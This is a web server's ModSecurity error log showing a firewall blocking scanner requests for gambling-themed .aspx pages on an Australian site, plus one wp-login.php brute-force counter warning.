[Sat Feb 21 22:05:43.887163 2026] [:error] [pid 36509:tid 36516] [client 217.182.194.3:46288] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZm7tzG8U28d2EFbEqXKAAAAAcU"]
[Sat Feb 21 22:05:46.492457 2026] [:error] [pid 40871:tid 40897] [client 217.182.194.3:46294] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZm7ujqDikjdiOZeJyWw1wAAANg"]
[Sat Feb 21 22:05:49.392897 2026] [:error] [pid 53976:tid 54022] [client 217.182.194.3:33508] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZm7vdBEV5I20TLqUt7MsgAAAo8"]
[Sat Feb 21 22:05:52.124392 2026] [:error] [pid 53976:tid 54027] [client 217.182.194.3:33522] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZm7wNBEV5I20TLqUt7MtgAAApQ"]
[Sat Feb 21 23:01:24.630623 2026] [:error] [pid 40871:tid 40881] [client 173.239.214.108:25207] [client 173.239.214.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.108, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aZnIxDqDikjdiOZeJyW4SAAAAMg"]
[Sun Feb 22 01:06:29.377862 2026] [:error] [pid 4789:tid 4798] [client 147.135.213.130:50436] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZnmFa9_231lp37V1xw8mAAAAQc"]
[Sun Feb 22 01:06:31.770488 2026] [:error] [pid 4789:tid 4806] [client 147.135.213.130:41432] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZnmF69_231lp37V1xw8ogAAAQ8"]
[Sun Feb 22 01:06:34.135842 2026] [:error] [pid 3204:tid 3478] [client 147.135.213.130:41436] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZnmGnAwnUMG8727rz4HKgAAAIw"]
[Sun Feb 22 01:06:36.541376 2026] [:error] [pid 4789:tid 4797] [client 147.135.213.130:41448] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZnmHK9_231lp37V1xw8tAAAAQY"]
[Sun Feb 22 01:06:39.038911 2026] [:error] [pid 3195:tid 3463] [client 147.135.213.130:49632] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZnmHw28anZ1nWyZCI416wAAAFg"]
[Sun Feb 22 01:06:41.539197 2026] [:error] [pid 4789:tid 4809] [client 147.135.213.130:49644] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZnmIa9_231lp37V1xw8wwAAARI"]
[Sun Feb 22 01:06:43.863132 2026] [:error] [pid 3516:tid 3542] [client 147.135.213.130:49656] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZnmI0taWLejEJFWY3Et2gAAANc"]
[Sun Feb 22 01:06:46.382951 2026] [:error] [pid 3204:tid 3476] [client 147.135.213.130:49662] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZnmJnAwnUMG8727rz4HOwAAAIo"]
[Sun Feb 22 01:06:48.950680 2026] [:error] [pid 4789:tid 4815] [client 147.135.213.130:49678] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZnmKK9_231lp37V1xw81QAAARg"]
[Sun Feb 22 01:06:51.489657 2026] [:error] [pid 3195:tid 3439] [client 147.135.213.130:43354] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZnmKw28anZ1nWyZCI42BwAAAEA"]
[Sun Feb 22 01:06:54.036621 2026] [:error] [pid 3179:tid 3430] [client 147.135.213.130:43358] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZnmLtgAWCcL8bTGJUUfbwAAABI"]
[Sun Feb 22 01:06:56.428564 2026] [:error] [pid 3179:tid 3436] [client 147.135.213.130:43370] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZnmMNgAWCcL8bTGJUUfcwAAABg"]
[Sun Feb 22 01:06:58.996360 2026] [:error] [pid 3195:tid 3451] [client 147.135.213.130:43382] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZnmMg28anZ1nWyZCI42FQAAAEw"]
[Sun Feb 22 01:07:01.479048 2026] [:error] [pid 3204:tid 3474] [client 147.135.213.130:42556] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZnmNXAwnUMG8727rz4HWQAAAIg"]
[Sun Feb 22 01:07:03.890199 2026] [:error] [pid 3179:tid 3428] [client 147.135.213.130:42568] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZnmN9gAWCcL8bTGJUUfhwAAABA"]
[Sun Feb 22 01:07:06.415078 2026] [:error] [pid 3516:tid 3523] [client 147.135.213.130:42582] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZnmOktaWLejEJFWY3Et-wAAAMQ"]
[Sun Feb 22 01:07:08.970846 2026] [:error] [pid 3204:tid 3488] [client 147.135.213.130:42588] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZnmPHAwnUMG8727rz4HZgAAAJY"]
[Sun Feb 22 01:07:11.504943 2026] [:error] [pid 3204:tid 3469] [client 147.135.213.130:53806] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZnmP3AwnUMG8727rz4HbgAAAIM"]
[Sun Feb 22 01:07:14.006300 2026] [:error] [pid 3516:tid 3543] [client 147.135.213.130:53814] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZnmQktaWLejEJFWY3EuCgAAANg"]
[Sun Feb 22 01:07:16.375006 2026] [:error] [pid 4789:tid 4795] [client 147.135.213.130:53824] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZnmRK9_231lp37V1xw9RQAAAQQ"]
[Sun Feb 22 01:07:18.814719 2026] [:error] [pid 3516:tid 3537] [client 147.135.213.130:53838] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZnmRktaWLejEJFWY3EuFwAAANI"]
[Sun Feb 22 01:07:21.148723 2026] [:error] [pid 4789:tid 4806] [client 147.135.213.130:36656] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZnmSa9_231lp37V1xw9XAAAAQ8"]
[Sun Feb 22 01:07:23.669896 2026] [:error] [pid 3516:tid 3531] [client 147.135.213.130:36658] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZnmS0taWLejEJFWY3EuJwAAAMw"]
[Sun Feb 22 01:07:26.046918 2026] [:error] [pid 4789:tid 4806] [client 147.135.213.130:36670] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZnmTq9_231lp37V1xw9aQAAAQ8"]
[Sun Feb 22 01:07:47.129831 2026] [:error] [pid 3179:tid 3433] [client 147.135.213.130:36672] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZnmY9gAWCcL8bTGJUUf5wAAABU"]
[Sun Feb 22 01:07:49.690463 2026] [:error] [pid 3516:tid 3541] [client 147.135.213.130:58256] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZnmZUtaWLejEJFWY3EuWQAAANY"]
[Sun Feb 22 01:07:52.203041 2026] [:error] [pid 4789:tid 4801] [client 147.135.213.130:58258] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZnmaK9_231lp37V1xw9wAAAAQo"]
[Sun Feb 22 01:07:54.587477 2026] [:error] [pid 3516:tid 3538] [client 147.135.213.130:58274] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZnmaktaWLejEJFWY3EuYgAAANM"]
[Sun Feb 22 01:07:57.207744 2026] [:error] [pid 3204:tid 3488] [client 147.135.213.130:58282] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZnmbXAwnUMG8727rz4H0wAAAJY"]
[Sun Feb 22 01:07:59.778317 2026] [:error] [pid 4789:tid 4801] [client 147.135.213.130:46310] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aZnmb69_231lp37V1xw92AAAAQo"]
[Sun Feb 22 01:08:02.204435 2026] [:error] [pid 4789:tid 4794] [client 147.135.213.130:46326] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZnmcq9_231lp37V1xw95gAAAQM"]
[Sun Feb 22 01:08:04.751443 2026] [:error] [pid 3195:tid 3455] [client 147.135.213.130:46334] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZnmdA28anZ1nWyZCI42hgAAAFA"]
[Sun Feb 22 01:08:07.316775 2026] [:error] [pid 3179:tid 3421] [client 147.135.213.130:46338] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZnmd9gAWCcL8bTGJUUf9AAAAAk"]
[Sun Feb 22 01:08:09.763226 2026] [:error] [pid 3179:tid 3426] [client 147.135.213.130:56604] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZnmedgAWCcL8bTGJUUf-gAAAA4"]
[Sun Feb 22 01:08:12.188979 2026] [:error] [pid 3179:tid 3412] [client 147.135.213.130:56612] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZnmfNgAWCcL8bTGJUUgBAAAAAA"]
[Sun Feb 22 01:08:14.713136 2026] [:error] [pid 3516:tid 3534] [client 147.135.213.130:56622] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZnmfktaWLejEJFWY3EufQAAAM8"]
[Sun Feb 22 01:08:17.232253 2026] [:error] [pid 3204:tid 3470] [client 147.135.213.130:56632] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZnmgXAwnUMG8727rz4H5AAAAIQ"]
[Sun Feb 22 01:08:19.737046 2026] [:error] [pid 4789:tid 4809] [client 147.135.213.130:35782] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZnmg69_231lp37V1xw-AAAAARI"]
[Sun Feb 22 01:08:22.359298 2026] [:error] [pid 3195:tid 3456] [client 147.135.213.130:35786] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZnmhg28anZ1nWyZCI42lAAAAFE"]
[Sun Feb 22 01:08:24.998075 2026] [:error] [pid 3204:tid 3487] [client 147.135.213.130:35794] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZnmiHAwnUMG8727rz4H6gAAAJU"]
[Sun Feb 22 01:08:27.512940 2026] [:error] [pid 4789:tid 4798] [client 147.135.213.130:35796] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZnmi69_231lp37V1xw-EAAAAQc"]
[Sun Feb 22 01:08:30.088222 2026] [:error] [pid 4789:tid 4805] [client 147.135.213.130:58840] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZnmjq9_231lp37V1xw-FQAAAQ4"]
[Sun Feb 22 01:08:32.643301 2026] [:error] [pid 3204:tid 3489] [client 147.135.213.130:58846] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZnmkHAwnUMG8727rz4H8QAAAJc"]
[Sun Feb 22 01:08:34.995496 2026] [:error] [pid 3204:tid 3484] [client 147.135.213.130:58858] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZnmknAwnUMG8727rz4H9gAAAJI"]
[Sun Feb 22 01:08:37.393623 2026] [:error] [pid 3204:tid 3475] [client 147.135.213.130:58874] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZnmlXAwnUMG8727rz4H-wAAAIk"]
[Sun Feb 22 01:08:39.817996 2026] [:error] [pid 3204:tid 3478] [client 147.135.213.130:38078] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZnml3AwnUMG8727rz4H_wAAAIw"]
[Sun Feb 22 01:08:42.470692 2026] [:error] [pid 3204:tid 3480] [client 147.135.213.130:38092] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZnmmnAwnUMG8727rz4IBAAAAI4"]
[Sun Feb 22 01:09:03.385733 2026] [:error] [pid 3204:tid 3476] [client 147.135.213.130:38096] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZnmr3AwnUMG8727rz4IIgAAAIo"]
[Sun Feb 22 01:09:05.742435 2026] [:error] [pid 3204:tid 3484] [client 147.135.213.130:50410] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZnmsXAwnUMG8727rz4IJQAAAJI"]
[Sun Feb 22 01:09:08.231152 2026] [:error] [pid 3204:tid 3473] [client 147.135.213.130:50412] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZnmtHAwnUMG8727rz4IKwAAAIc"]
